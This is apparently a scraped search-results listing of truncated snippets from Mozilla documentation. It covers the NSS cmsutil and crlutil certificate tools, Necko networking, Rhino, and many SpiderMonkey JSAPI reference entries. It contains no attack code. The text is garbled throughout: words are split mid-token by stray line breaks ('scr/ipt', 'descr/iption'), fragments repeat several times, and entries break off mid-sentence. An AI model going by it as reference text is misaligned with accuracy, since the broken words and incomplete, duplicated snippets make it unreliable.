... of data (default is stdin). -n nickname specify nickname of certificate to sign with (sign only). -n suppress output of contents (decode only). -o outfile use outfile as a destination of data (default is stdout). -p include an s/mime capabilities attribute. -p password use password as key database password. -r rec
ipient1,rec
ipient2, ... specify list of rec
ipients (email addresses) for an encrypted or enveloped message. for certificates-only message, list of certificates to send. -t suppress content in cms message (sign only). -u certusage set type of cert usage (default is certusageemailsigner). -y ekprefnick specify an encrypt...
...for certificates-only message, list of certificates to send. -t suppress content in cms message (sign only). -u certusage set type of cert usage (default is certusageemailsigner). -y ekprefnick specify an encryption key preference by nickname. usage encrypt example cmsutil -c [-i infile] [-o outfile] [-d dbdir] [-p password] -r "rec
ipient1,rec
ipient2, . . ." -e envfile decode example cmsutil -d [-i infile] [-o outfile] [-d dbdir] [-p password] [-c content] [-n] [-h num] envelope example cmsutil -e [-i infile] [-o outfile] [-d dbdir] [-p password] -r "rec
ipient1,rec
ipient2, ..." certificate-only example cmsutil -o [-i infile] [-o outfile] [-d dbdir] [-p password] -r "cert1,cert2, . . ." sign message ex...
NSS tools : crlutil
name crlutil -- list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl. synopsis crlutil [options] arguments descr
iption the certificate revocation list (crl) management tool, crlutil, is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl. the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see certutil tool) and continues with certificates expiration or revocation. this document discusses...
... security database files (for example, my_cert8.db and my_key3.db). this option is provided as a special case. changing the names of the certificate and key databases is not recommended. -a use ascii format or allow the use of ascii format for input and output. this formatting follows rfc #1113. -c crl-gen-file specify scr
ipt file that will be used to control crl generation/modification. see crl-cr
ipt-file format below. if options -m|-g is used and -c crl-scr
ipt-file is not specified, crlutil will read scr
ipt data from standard input. -d directory specify the database directory containing the certificate and key database files. on unix the certificate databa...
...or new crl. bracket the output-file string with quotation marks if it contains spaces. if this argument is not used the output destination defaults to standard output. -t crl-type specify type of crl. possible types are: 0 - sec_krl_type, 1 - sec_crl_type. this option is obsolete -u url specify the url. crl generation scr
ipt syntax crl generation scr
ipt file has the following syntax: * line with comments should have # as a first symbol of a line * set "this update" or "next update" crl fields: update=yyyymmddhhmmssz nextupdate=yyyymmddhhmmssz field "next update" is optional. time should be in generalizedtime format (yyyymmddhhmmssz). for example: 20050204153000z * add an extension to a crl...
...otherwise. key-id: key identifier represented in octet string. dn:: is a ca distinguished name cert-serial: authority certificate serial number. * add issuer alternative name extension: the issuer alternative names extension allows additional identities to be associated with the issuer of the crl. defined options include an rfc822 name (electronic mail address), a dns name, an
ip address, and a uri. issueraltnames non-critical name-list where: subjaltnames: identifies the name of an extension should be set to 0 since this is non-critical extension name-list: comma separated list of names * add crl number extension: the crl number is a non-critical crl extension which conveys a monotonically increasing sequence number for a given crl scope and crl...
Network Security Services
tation background information overview of nss provides a brief summary of nss and its capabilities. nss faq answers basic questions about nss. introduction to public-key cryptography explains the basic concepts of public-key cryptography that underlie nss. introduction to ssl introduces the ssl protocol, including information about cryptographic c
iphers supported by ssl and the steps involved in the ssl handshake. getting started nss releases this page contains information about the current and past releases of nss. get the source code and build it instructions on how to build nss on the different supported platforms. nss apis introduction to network security services provides an ...
...he trust bit setting for each included root certificate. more information, extracting roots and their trust bits nss is built on top of netscape portable runtime (nspr) netscape portable runtime nspr project page. nspr reference nspr api documentation. ...
... more information, extracting roots and their trust bits nss is built on top of netscape portable runtime (nspr) netscape portable runtime nspr project page. nspr reference nspr api documentation. ...
... nss is built on top of netscape portable runtime (nspr) netscape portable runtime nspr project page. nspr reference nspr api documentation. additional information using the window.crypto object from javascr
ipt delegation of http download for ocsp tls c
ipher suite discovery nss certificate download specification f
ips mode - an explanation format of key log files view all nss-related articles on mdn planning information on nss planning can be found at wiki.mozilla.org, including: f
ips validation nss roadmap page nss improvement project community view mozilla security forums... mailing list newsgroup rss feed ...
Necko Architecture
, you can ask the nsiioservice for a url instance representing that string. once you have a url interface in hand (nsiurl), you have a completely parsed representation of the original url string, and you can query for the various parts of the url. handlers & channels nsichannel provides a data access interface which allows you to read or write data from or to a uri. there is a 1-to-1 relationsh
ip between uris and channels (if you go so far as to create a channel from a uri, which is not required if all you need is a parsed representation of a uri string). for every uri you want to transact with, there is exactly one channel. in order to get a channel from a uri an intermediary layer was introduced. because a uri has no self knowledge about what "protocol" it represents, another component ...
...quired. one of the arguments to the ondataavailable() notification is an nsiinputstream (which can be considered the underlying data). streams necko represents data in the form of streams (nsibasestream is the root interface. nsiinputstream is read from. nsioutputstream is written to). streams provide a generic interface to the data and allow for many underlying implementations that permit mult
iple data sources to be used. as a user, you don't care where the data came from, or where it "is," as long as you get the data. the data may be in memory, it may be on disk, or it may be located somewhere else. the point is that streams provide a loose interface for data access. if you initiate a synchronous transfer on a channel, you are handed back a stream that you can read or write from or to. ...
... on a channel, you are handed back a stream that you can read or write from or to. if you initiate an asynchronous transfer, you receive callbacks that notify you when things are happening. in the case of an asynchronous read... when you receive the ondataavailable() callback, you are handed an nsiinputsteam which you can read the data from (you will more than likely need to be able to handle mult
iple ondataavailable() callbacks, buffering the data you receive as necessary). the transaction is not complete until you receive an "stopped" notification. transports underlying i/o functionality has been consolidated into "transports." there is a transport for each type of i/o. necko implements a file transport and a socket transport that the protocol implementations (channels) use to actually ...
... is a transport for each type of i/o. necko implements a file transport and a socket transport that the protocol implementations (channels) use to actually move bytes to and from. how do i add my own protocol handler? adding your own protocol handler is a straightforward process in necko. there are a minimum of two interfaces you need to implement in order to fit into the necko architecture: ns
iprotocolhandler, and nsichannel. recall, that the ioservice will look up your protocol handler and ask it for a channel. after registering your protocol handler necko will use it to create channels for any uris it encounters that have the scheme your protocol handler registered for. please use existing protocol handler's for reference (the data: protocol handler is the simplest handler necko provid...
Rhino documentation
information on rhino for scr
ipt writers and embedders. general overview an overview of the javascr
ipt language and of rhino. license rhino license information. requirements and limitations what you must have to run rhino; what rhino cannot do. downloads archive includes release notes for rhino releases optimization details on the various optimization levels. faq answers to frequently asked questions about rhino. rhino history history of the beast. writing scr
ipts scr
ipting java how to use rhino to scr
ipt java classes. performance hints some t
ips on writing faster javascr
ipt code. javascr
ipt tools rhino shell interactive or batch execution of scr
ipts. javascr
ipt debugger debugging scr
ipts running in rhino. ...
...imization levels. faq answers to frequently asked questions about rhino. rhino history history of the beast. writing scr
ipts scr
ipting java how to use rhino to scr
ipt java classes. performance hints some t
ips on writing faster javascr
ipt code. javascr
ipt tools rhino shell interactive or batch execution of scr
ipts. javascr
ipt debugger debugging scr
ipts running in rhino. javascr
ipt compiler compiling scr
ipts into java class files. running the rhino tests running the javascr
ipt test suite with rhino. embedding rhino embedding tutorial a short tutorial on how to embed rhino into your application. api javadoc reference (link broken? try this at jarvana.) an annotated outline of the programming interface to rhino (t
ip only). scopes and contexts describes how to u...
...ing tutorial a short tutorial on how to embed rhino into your application. api javadoc reference (link broken? ...
...our application. api javadoc reference (link broken? try this at jarvana.) an annotated outline of the programming interface to rhino (t
ip only). scopes and contexts describes how to use scopes and contexts for the best performance and flexibility, with an eye toward multithreaded environments. serialization how to serialize javascr
ipt objects and functions in rhino. runtime a brief descr
iption of the javascr
ipt runtime. small footprint hints for those interested in small-footprint embeddings. examples a set of examples showing how to control the javascr
ipt engine and build javascr
ipt host objects. using rhino with bean scr
ipting framework (bsf) how to use rhino with apps that support bsf (bean scr
ipting framework) from the apache jakarta project. external references scri...
Small Footprint
for embeddings where space is at a premium. on a recent build, the length of js.jar was 603,127 bytes corresponding to 1,171,708 bytes of all uncompressed rhino classes with debug information included. with various changes js.jar size can be reduced to 204,689 bytes corresponding to 424,774 bytes of uncompressed classes. ...
...changes js.jar size can be reduced to 204,689 bytes corresponding to 424,774 bytes of uncompressed classes. tools most embeddings won't need any of the classes in org.mozilla.javascr
ipt.tools or any of its sub-packages. optimizer it is possible to run rhino with interpreter mode only, allowing you to remove code for classfile generation that include all the classes from <tt>org.mozilla.javascr
ipt.optimizer</tt> package. javaadapter implementing the javaadapter functionality requires the ability to generate classes on the fly. removing org.mozilla.javascr
ipt.javaadapter will disable this functionality, but rhino will otherwise run correctly. class generation library if you do not include optimizer or javaadapter, nor do you use policysecuritycontroller then you do not need rhino libra...
....javascr
ipt.javaadapter will disable this functionality, but rhino will otherwise run correctly. class generation library if you do not include optimizer or javaadapter, nor do you use policysecuritycontroller then you do not need rhino library for class file generation and you can remove all the classes from in org.mozilla.classfile package. regular expressions the package org.mozilla.javascr
ipt.regexp can be removed. rhino will continue to run, although it will not be able to execute any regular expression matches. this change saves 47,984 bytes of class files. debug information debug information in rhino classes consumes about 25% of code size and if you can live without that, you can recompile rhino to remove it. ...
...essions the package org.mozilla.javascr
ipt.regexp can be removed. rhino will continue to run, although it will not be able to execute any regular expression matches. this change saves 47,984 bytes of class files. debug information debug information in rhino classes consumes about 25% of code size and if you can live without that, you can recompile rhino to remove it. smalljs.jar ant build scr
ipt in rhino supports smalljar target that will generate smalljs.jar that does not include tools, optimizer, javaadapter and class generation library, regular expressions, e4x implementataion and deprecated files. to build such minimalist jar without debug information, run the following command from the top directory of rhino distribution: ant clean ant -ddebug=off -dno-regexp=true -dno-e4x=true sm...
INT_FITS_IN_JSVAL
if so, int_fits_in_jsval returns true, and i can be cast to jsval by calling int_to_jsval(i). otherwise, int_fits_in_jsval returns false. in this case, the application can still convert i to a jsval using js_newnumbervalue. ...
...if so, int_fits_in_jsval returns true, and i can be cast to jsval by calling int_to_jsval(i). otherwise, int_fits_in_jsval returns false. in this case, the application can still convert i to a jsval using js_newnumbervalue. ...
...if so, int_fits_in_jsval returns true, and i can be cast to jsval by calling int_to_jsval(i). otherwise, int_fits_in_jsval returns false. in this case, the application can still convert i to a jsval using js_newnumbervalue. ...
... to a jsval using js_newnumbervalue. warning: the type of the argument i must be jsint, but the c/c++ compiler does not enforce type safety here. if i is an unsigned or 64-bit value, int_fits_in_jsval can silently give the wrong answer. starting in spidermonkey 1.8.5, jsval can store a full 32-bit integer, so this check isn't needed any longer for 32-bit integers. example the following code sn
ippet illustrates how a c variable, item, is conditionally tested in an if statement to see if it is a legal jsval integer value. if (int_fits_in_jsval(item)) { /* ... */ } else { js_reporterror(cx, "integer out of range: %d", item); } see also int_to_jsval changeset - 52750:05bd86e3559a ...
JS::AutoIdArray
jsid operator[](size_t i) const return a jsid in specified index of the owned array. ...
... jsid operator[](size_t i) const return a jsid in specified index of the owned array. ...
...in spidermonkey 17 take ownersh
ip of a jsidarray and free it later. syntax autoidarray(jscontext *cx, jsidarray *ida); name type descr
iption cx jscontext * the context in which to add the root. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ida jsidarray * a pointer to jsidarray to take the ownersh
ip. methods method descr
iption bool operator!() const return true if this has no owned array. jsid operator[](size_t i) const return a jsid in specified index of the owned array. size_t length() const return the length of the owned array. ...
...sidarray to take the ownersh
ip. methods method descr
iption bool operator!() const return true if this has no owned array. jsid operator[](size_t i) const return a jsid in specified index of the owned array. size_t length() const return the length of the owned array. jsidarray *steal() return the owned array and release the ownersh
ip. descr
iption js::autoidarray takes the ownersh
ip of jsidarray, and frees it in destructor by calling js_destroyidarray. examples { js::autoidarray ids(cx, js_enumerate(cx, obj)); if (!ids) // check the returned value from js_enumerate return false; for (int32_t i = 0, len = ids.length(); i < len; i++) { somefunc(cx, ids[i]); } /* when leaving this scope, the jsidarra...
JS::MutableHandle
this article covers features introduced in spidermonkey 17 reference to a t that has been rooted elsewhere. the underlying storage can be changed. this is useful for outparams. syntax bool somefunction(jscontext *cx, js::mutablehandle<t> outparam) { ... } methods here, ptr represents the private member of js::mutablehandle<t>, typed with t *. method descr
iption const t &get() const returns *ptr. operator const t&() const t operator->() const t *address() returns ptr. void set(t v) sets the value of *ptr to v. descr
iption js::mutablehandle<t> is a non-const reference to js::rooted<t>. it is used in the same way as js::handle<t> and includes a |set(const t &v)| method to allow updating the val...
...add additional methods to js::mutablehandle for a specific specialization, define a js::mutablehandlebase<t> specialization containing them. ...
...o js::mutablehandle for a specific specialization, define a js::mutablehandlebase<t> specialization containing them. ...
...ehandlescr
ipt; typedef mutablehandle<jsstring*> mutablehandlestring; typedef mutablehandle<js::symbol*> mutablehandlesymbol; typedef mutablehandle<value> mutablehandlevalue; } see also mxr id search for js::mutablehandle mxr id search for js::mutablehandlefunction mxr id search for js::mutablehandleid mxr id search for js::mutablehandleobject mxr id search for js::mutablehandlescr
ipt mxr id search for js::mutablehandlestring mxr id search for js::mutablehandlesymbol mxr id search for js::mutablehandlevalue js::rooted js::handle gc rooting guide bug 770759 bug 761391 - added js::mutablehandlescr
ipt bug 645416 - added js::mutablehandlesymbol ...
JS::ToNumber
it implements the tonumber operator described in ecma 262-3 ?9.3. ...
...it implements the tonumber operator described in ecma 262-3 ?9.3. ...
...it implements the tonumber operator described in ecma 262-3 ?9.3. on success, js::tonumber stores the converted value in *out and returns true. on error or exception, it returns false, and the value left in *out is undefined. ...
...it implements the tonumber operator described in ecma 262-3 ?9.3. on success, js::tonumber stores the converted value in *out and returns true. on error or exception, it returns false, and the value left in *out is undefined. ...
JS::ToString
if v.isstring() is true, it calls v.tostring(). otherwise, it converts the value to string. ...
... if v.isstring() is true, it calls v.tostring(). otherwise, it converts the value to string. ...
... if v.isstring() is true, it calls v.tostring(). otherwise, it converts the value to string. ...
... if v.isstring() is true, it calls v.tostring(). otherwise, it converts the value to string. on success, js::tostring returns a jsstring instance. ...
JSCheckAccessOp
ome browsers, its use is discouraged since it could be removed at any time. try to avoid using it. jscheckaccessop is the type for jsclass.checkaccess. (it is also the type of the callback set by js_setcheckobjectaccesscallback.) syntax typedef jsbool (* jscheckaccessop)(jscontext *cx, jsobject *obj, jsval id, jsaccessmode mode, jsval *vp); name type descr
iption cx jscontext * the js context in which the property access attempt is occurring. obj jsobject * the object whose properties are being accessed. id jsval the name or index of the property being accessed. mode jsaccessmode the type of access being checked. vp jsval * out parameter. on success, the callback must set *vp t...
...t in which the property access attempt is occurring. obj jsobject * the object whose properties are being accessed. id jsval the name or index of the property being accessed. mode jsaccessmode the type of access being checked. vp jsval * out parameter. on success, the callback must set *vp to the stored value of the property. ...
...back must set *vp to the stored value of the property. descr
iption check whether obj[id] may be accessed per mode, returning js_false on error/exception, js_true on success with obj[id]'s stored value in *vp. as for jspropertyop, id is either a string or an int jsval. jscheckaccessop implementations generally work by using jsdbgapi functions such as js_frameiterator and js_stackframeprinc
ipals to obtain the princ
ipals of the code attempting the checked operation, then examining those princ
ipals and comparing them with the system's security policy. the nature of princ
ipals and the security policy are entirely up to the application. if a class leaves the checkaccess field null, a runtime-wide object access callback is called instead; see js_setcheckobjectaccesscallback. jsclass hook...
...rinc
ipals and comparing them with the system's security policy. the nature of princ
ipals and the security policy are entirely up to the application. if a class leaves the checkaccess field null, a runtime-wide object access callback is called instead; see js_setcheckobjectaccesscallback. jsclass hooks jsclass offers the following hook: the jsclass.checkaccess callback is called when a scr
ipt attempts to access an object property. the callback can deny the scr
ipt access to the property. see also jsclass bug 957688 ...
JSClass.flags
lots initially contain unspecified valid jsval values. they can be accessed using js_getreservedslot and js_setreservedslot. (the jsclass.reserveslots hook also allocates reserved slots to objects.) mxr id search for jsclass_has_reserved_slots jsclass_global_flags this flag is only relevant for the class of an object that is used as a global object. (ecmascr
ipt specifies a single global object, but in spidermonkey the global object is the last object in the scope chain, which can be different objects at different times. this is actually quite subtle. js_executescr
ipt and similar apis set the global object for the code they execute. js_setglobalobject sets an object which is sometimes used as the global object, as a last resort.) enable standard ec...
...cifies a single global object, but in spidermonkey the global object is the last object in the scope chain, which can be different objects at different times. this is actually quite subtle. js_executescr
ipt and similar apis set the global object for the code they execute. js_setglobalobject sets an object which is sometimes used as the global object, as a last resort.) enable standard ecmascr
ipt behavior for setting the prototype of certain objects, such as function objects. ...
...at different times. this is actually quite subtle. js_executescr
ipt and similar apis set the global object for the code they execute. js_setglobalobject sets an object which is sometimes used as the global object, as a last resort.) enable standard ecmascr
ipt behavior for setting the prototype of certain objects, such as function objects. ...
... implements gc read and write barriers. jsclass_new_enumerate obsolete since jsapi 37 this class's enumerate hook is actually a jsnewenumerateop, not a jsenumerateop. jsclass_new_resolve obsolete since jsapi 36 this class's resolve hook is actually a jsnewresolveop, not a jsresolveop. jsclass_share_all_properties obsolete since javascr
ipt 1.8.5 instructs spidermonkey to automatically give all properties of objects of this class the jsprop_shared attribute. jsclass_new_resolve_gets_start obsolete since jsapi 16 the resolve hook expects to receive the starting object in the prototype chain passed in via the *objp in/out parameter. (this is meaningful only if the jsclass_new_resolve flag is also set.) ...
JSNative
jsnative is the type of many jsapi callbacks. in particular, apis such as js_initclass and js_definefunctions create custom methods on javascr
ipt objects that are implemented as jsnative callbacks provided by the application, written in c/c++ code. the term "native" here refers to c/c++ code as opposed to javascr
ipt code. syntax typedef bool (* jsnative)(jscontext *cx, unsigned argc, js::value *vp); name type descr
iption cx jscontext * the context in which the native function is being called. provides request. in js_threadsafe builds, the javascr
ipt engine calls this callback only from within an active request on cx. the callback does not need to call js_beginrequest()). argc unsigned the number of arguments supplied to the function by th...
...uest()). argc unsigned the number of arguments supplied to the function by the caller (as opposed to, say, the number of arguments the function is specified to take in its jsfunctionspec). vp js::value * the arguments, the this argument, the return-value slot, and the callee function object are accessible through this pointer using macros described below. descr
iption jsnative is the type of native implementations of javascr
ipt functions. full documentation of how to define a jsnative (or a jsfastnative, the equivalent typedef which preceded it) is available in the api header "js/callargs.h" added in spidermonkey 24. this header is new, but the semantics it describes are applicable to all recent spidermonkey releases. the preferred way to implement a f...
...ntual return value. on success, the callback must set js::callargs::rval() or call js_set_rval (at least once) and return true. otherwise it should either report an error (using e.g. js_reporterror or js_reportoutofmemory) or raise an exception (using js_setpendingexception), and the callback must return false. (returning false without reporting an error or raising an exception terminates the scr
ipt with an uncatchable error. this has limited use cases; it's used to implement firefox's "slow scr
ipt" dialog, for example.) when a jsnative is called, no jsstackframe is generated. this causes the function not to appear on the stack in javascr
ipt debuggers. it also means that applications that implement jscheckaccessop or jscheckaccessidop in terms of apis such as js_frameiterator and js_stack...
...uncatchable error. this has limited use cases; it's used to implement firefox's "slow scr
ipt" dialog, for example.) when a jsnative is called, no jsstackframe is generated. this causes the function not to appear on the stack in javascr
ipt debuggers. it also means that applications that implement jscheckaccessop or jscheckaccessidop in terms of apis such as js_frameiterator and js_stackframeprinc
ipals, must take extra care, as the native function's princ
ipals will be missing from the stack. see also mxr id search for jsnative js::callargs js_reporterror js_reportoutofmemory js_setpendingexception ...
JSObjectOps.getProperty
although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. warning! jsobjectops is not a supported api. details of the api may change from one release to the next. this documentation should be considered spidermonkey internals documentation, not api documentation. see bug 408416 for details. jsobjectops.getproperty, setproperty, and deleteproperty are high-level callbacks that implement object property accesses. ...
... calling getters or setters; and actually getting, setting, or deleting the property once it is found. contrast jsclass.getproperty, jsclass.setproperty, and jsclass.delproperty, which are hooks called during property accesses and don't have to implement any of that. ...
...if getting or setting, the new value is returned in *vp on success. ...
...if getting or setting, the new value is returned in *vp on success. ...
JS_AddArgumentFormatter
oved at any time. try to avoid using it. add or remove a format string handler for js_convertarguments, js_pusharguments, js_convertargumentsva, and js_pushargumentsva. ...
...on success, it returns js_true. otherwise it returns js_false. ...
...lly a string constant. if format is in dynamic storage, the caller must keep the string alive until js_removeargumentformatter is called. js_removeargumentformatter removes any conversion functions associated with format. callback syntax jsbool (*jsargumentformatter)(jscontext *cx, const char *format, jsbool fromjs, jsval **vpp, va_list *app); name type descr
iption cx jscontext * the context in which the conversion is being performed. format const char * the tail of the format string whose prefix is associated with this formatting function. fromjs jsbool js_true if the conversion function should convert from jsval values to c values; js_false if the conversion function should convert from c values to jsval va...
...jsbool js_true if the conversion function should convert from jsval values to c values; js_false if the conversion function should convert from c values to jsval values. vpp jsval ** in-out parameter. a pointer into an array of jsval values. app va_list * in-out parameter. a pointer to an argument pointer, used to retrieve pointers to c values. callback descr
iption the conversion function should return true on success, and return false after reporting an error or detecting an already-reported error. for a given format string, for example "aa", the formatter is called from js_convertargumentsva like so: formatter(cx, "aa...", js_true, &sp, &ap); sp points into the arguments array on the js stack, while ap points into the stdarg.h va_list on the c stack.
JS_Add*Root
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. vp jsval * (in js_addvalueroot and js_addnamedvalueroot) the address of the jsval variable to root spp jsstring ** (in js_addstringroot and js_addnamedstringroot) the address of the jsstring* variab...
...root opp jsobject ** (in js_addobjectroot and js_addnamedobjectroot) the address of the jsobject* variable to root rp void ** (in js_addgcthingroot and js_addnamedgcthingroot) the address of the jsstring* or jsobject* (not jsval) variable to root name const char * (in js_addnamedroot and js_addnamedrootrt) the name of the new root, or null. descr
iption the js_add*root and functions add a c/c++ variable to the garbage collector's root set, the set of variables used as starting points each time the collector checks to see what memory is reachable. the garbage collector aggressively collects and recycles memory that it deems unreachable, so roots are often necessary to protect data from being prematurely collected. vp/spp/opp/rp is the addre...
...ble. that could cause sporadic crashes during garbage collection, which can be hard to debug.) the variable must remain in memory until the balancing call to js_removeroot. note that this means that if the root is meant to live past the end of a function, the address of a local (stack-based) variable may not be used for rp. if js_add*root succeeds, then as long as this variable points to a javascr
ipt value or pointer to gc-thing, that value/gc-thing is protected from garbage collection. if the variable points to an object, then any memory reachable from its properties is automatically protected from garbage collection, too. js_addgcthingroot allows the caller to have a single root that may hold either strings or objects. a jsval is not a gc-thing (it has tag bits and may be a different siz...
...tored in the jsruntime's root table entry along with rp. the name string's lifetime must last at least until the balancing call to js_removeroot. typically name is a static string constant, identifying the source location of the call to js_addnamedroot for debugging purposes. js_dumpnamedroots can be used to access this information from a debugger. all the js_add*root methods are idempotent: mult
iple calls for the same address will add only one root. correspondingly, only a single js_removeroot is required to unroot the location. on success, these functions return js_true. otherwise they report an out of memory error and return js_false. see also mxr id search for js_addvalueroot mxr id search for js_addstringroot mxr id search for js_addobjectroot mxr id search for js_addnamedvalu...
JS_CallFunction
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the "current" object on which the function operates; the object specified here is "this" when the function executes. fun js::handlefunction pointer to th...
...the function. added in spidermonkey 31 argc unsigned number of arguments you are passing to the function. obsolete since jsapi 30 argv jsval * pointer to the array of argument values to pass to the function. obsolete since jsapi 30 rval js::mutablehandlevalue out parameter. on success, *rval receives the return value from the function call. descr
iption js_callfunction calls a specified function, fun, on an object, obj. in terms of function execution, the object is treated as this. js_callfunctionname calls a function with specified name, name on an object obj. if js engine fails to get the function, it returns false. js_callfunctionvalue calls a specified function, fval on an object obj. js_callfunctionvalue(cx, obj, fval, args, rval) is...
...ls a specified function, fun, on an object, obj. in terms of function execution, the object is treated as this. js_callfunctionname calls a function with specified name, name on an object obj. if js engine fails to get the function, it returns false. js_callfunctionvalue calls a specified function, fval on an object obj. js_callfunctionvalue(cx, obj, fval, args, rval) is analogous to the javascr
ipt statement rval = fval.apply(obj, args);. in args, pass a reference to the actual argument values to use. there should be one value for each argument you pass to the function; the number of arguments you pass may be different from the number of arguments defined for the function. obsolete since jsapi 30. in argc, indicate the number of arguments passed to the function. in argv, pass a pointer...
...n. if the called function executes successfully, js_callfunction returns true. otherwise it returns false, and rval is undefined. calling js_callfunction is safe only if the fun argument could be passed to js_getfunctionobject safely: that is, it is a function implemented by a jsnative or jsfastnative or the result of a call to js_compilefunction, js_compileucfunction, js_compilefunctionforprinc
ipals, or js_compileucfunctionforprinc
ipals. passing any other jsfunction pointer can lead to a crash or worse. see also mxr id search for js_callfunction mxr id search for js_callfunctionname mxr id search for js_callfunctionvalue js_compilefunction js_definefunction js_definefunctions js_getfunctionobject js_newfunction js_valuetofunction bug 965830 ...
JS_CompareStrings
if the strings are identical in content and length, js_comparestrings stores 0 in *result. ...
...if the strings are identical in content and length, js_comparestrings stores 0 in *result. if str1 is less than str2, *result is less than 0. ...
...if the strings are identical in content and length, js_comparestrings stores 0 in *result. if str1 is less than str2, *result is less than 0. if str1 is greater than str2, *result is greater than 0. ...
...s compares two js strings, str1 and str2. if the strings are identical in content and length, js_comparestrings stores 0 in *result. if str1 is less than str2, *result is less than 0. if str1 is greater than str2, *result is greater than 0. on success the function returns js_true. on error, it returns js_false and the value in result is unchanged. this function imposes a total order on all javascr
ipt strings, the same order imposed by the javascr
ipt string comparison operators (<, <=, >, >=), as described in ecma 262-3 ? 11.8.5. as the standard says: the comparison of strings uses a simple lexicographic ordering on sequences of code point value values. there is no attempt to use the more complex, semantically oriented definitions of character or string equality and collating order defined ...
JS_DefineFunction
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handle<jsobject*> object for which to define a function as a property (method). name const char * or const char16_t * name to assign to the function. id js::handle<js...
... id js::handle<jsid> a pointer to jsid for name to assign to the function. added in spidermonkey 17 call jsnative the native c/c++ function to be wrapped by the new function. nargs unsigned number of arguments that are passed to the function when it is called. flags unsigned the logical or of zero or more property attributes. descr
iption js_definefunction exposes a c/c++ function to scr
ipts by defining a new method on an existing javascr
ipt object. it creates the new function object as though by calling js_newfunction, then makes it a method of obj as though by calling js_defineproperty. js_defineucfunction is the unicode version of the function. name is the name of the property to create in obj. that is, it is the method nam...
...nargs indicates the number of arguments the function expects to receive. ...
...nargs indicates the number of arguments the function expects to receive. this becomes the new function object's length property and can be accessed using js_getfunctionarity. ...
JS_DefineFunctions
requires request. ...
... defined. fs const jsfunctionspec * a null-terminated array of function specifications. each element of the array defines an individual function. behavior propertydefinitionbehavior see below. ...
... fs is a pointer to the first element of an array of jsfunctionspec records. ...
... and makes them properties (methods) of a specified object, obj, as if by calling js_definefunction repeatedly. fs is a pointer to the first element of an array of jsfunctionspec records. this array is usually defined as a static global, with each record initialized using js_fs or js_fn. each array element defines a single function: its name, the native c/c++ implementation, the number of javascr
ipt arguments the function expects, and any property attributes. the last element of the array must contain 0 values. (the macro js_fs_end can be used for the last element.) js_definefunctions creates one function for each non-zero element in the array. propertydefinitionbehavior is used to select if properties with jsprop_define_late flag should be defined on the object. normal jsapi consumers pro...
JS_DefineOwnProperty
obsolete since jsapi 33this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this article covers features introduced in spidermonkey 1.8.5 please provide a descr
iption for this function. syntax bool js_defineownproperty(jscontext *cx, js::handleobject obj, js::handleid id, js::handlevalue descr
iptor, bool *bp); name type descr
iption cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object on which the property should be defined own. id js::handleid the jsid of the property that should be defined. de...
... js::handlevalue descr
iptor, bool *bp); name type descr
iption cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object on which the property should be defined own. id js::handleid the jsid of the property that should be defined. descr
iptor js::handlevalue this should be an jsval consisting of an object interpretable as property descr
iptor. bp bool * true if successful. descr
iption js_defineownproperty implements the ecmascr
ipt defined function object.defineproperty. so the same restrictions apply as for that function (e.g. ...
... descr
iptor js::handlevalue this should be an jsval consisting of an object interpretable as property descr
iptor. bp bool * true if successful. descr
iption js_defineownproperty implements the ecmascr
ipt defined function object.defineproperty. so the same restrictions apply as for that function (e.g. it is not possible to change a non-configurable property). descr
iptor is supposed to be a property descr
iptor, this means you need to create an object with properties such as value, writable, get or set. see object.defineproperty for a list of possible fields. a getter or setter defined with this functions will be observable from js code. ...
...nction (e.g. it is not possible to change a non-configurable property). descr
iptor is supposed to be a property descr
iptor, this means you need to create an object with properties such as value, writable, get or set. see object.defineproperty for a list of possible fields. a getter or setter defined with this functions will be observable from js code. ...
JS_DeleteElement
removes a specified element or numeric property from an object. syntax bool js_deleteelement(jscontext *cx, js::handleobject obj, uint32_t index); // added in spidermonkey 45 bool js_deleteelement(jscontext *cx, js::handleobject obj, uint32_t index, js::objectopresult &result); name type descr
iption cx jscontext * pointer to a js context from which to derive runtime information. requires request. ...
...text from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object from which to delete an element. index uint32_t index number of the element to delete. result js::objectopresult & (out parameter) receives the result of the operation. ...
... to truncate an array, use js_setarraylength. to remove all elements and properties from an object, call js_clearscope. ...
... element belonging to a prototype, the element reference is removed from the object, but the prototype's element is not deleted. if deletion is successful, js_deleteelement returns true. otherwise it returns false. for javascr
ipt 1.2 and earlier, if failure occurs because you attempt to delete a permanent or read-only element, js_deleteelement reports the error before returning false. for javascr
ipt 1.3 and later, the attempt is silently ignored. to truncate an array, use js_setarraylength. to remove all elements and properties from an object, call js_clearscope. see also mxr id search for js_deleteelement bug 1113369 -- added result parameter ...
JS_GC
performs garbage collection in the js memory pool. syntax void js_gc(jscontext *cx); // added in spidermonkey 52 void js_gc(jsruntime *rt); // obsolete since jsapi 50 void js_gc(jscontext *cx); // obsolete since jsapi 14 name type descr
iption cx jscontext * the context to for which to perform garbage collection. added in spidermonkey 52 rt jsruntime * the runtime to for which to perform garbage collection. ...
...n spidermonkey 52 void js_gc(jsruntime *rt); // obsolete since jsapi 50 void js_gc(jscontext *cx); // obsolete since jsapi 14 name type descr
iption cx jscontext * the context to for which to perform garbage collection. added in spidermonkey 52 rt jsruntime * the runtime to for which to perform garbage collection. obsolete since jsapi 50 descr
iption js_gc performs garbage collection of js objects, strings and other internal data structures that are no longer reachable in the specified context or runtime. garbage collection frees memory so that it can be reused by the system. ...
...to perform garbage collection only if needed, call js_maybegc instead. ...
...to perform garbage collection only if needed, call js_maybegc instead. use js_setgccallback to add hooks that are called during garbage collection. ...
JS_GetFunctionObject
retrieves the object for a specified function. syntax jsobject * js_getfunctionobject(jsfunction *fun); name type descr
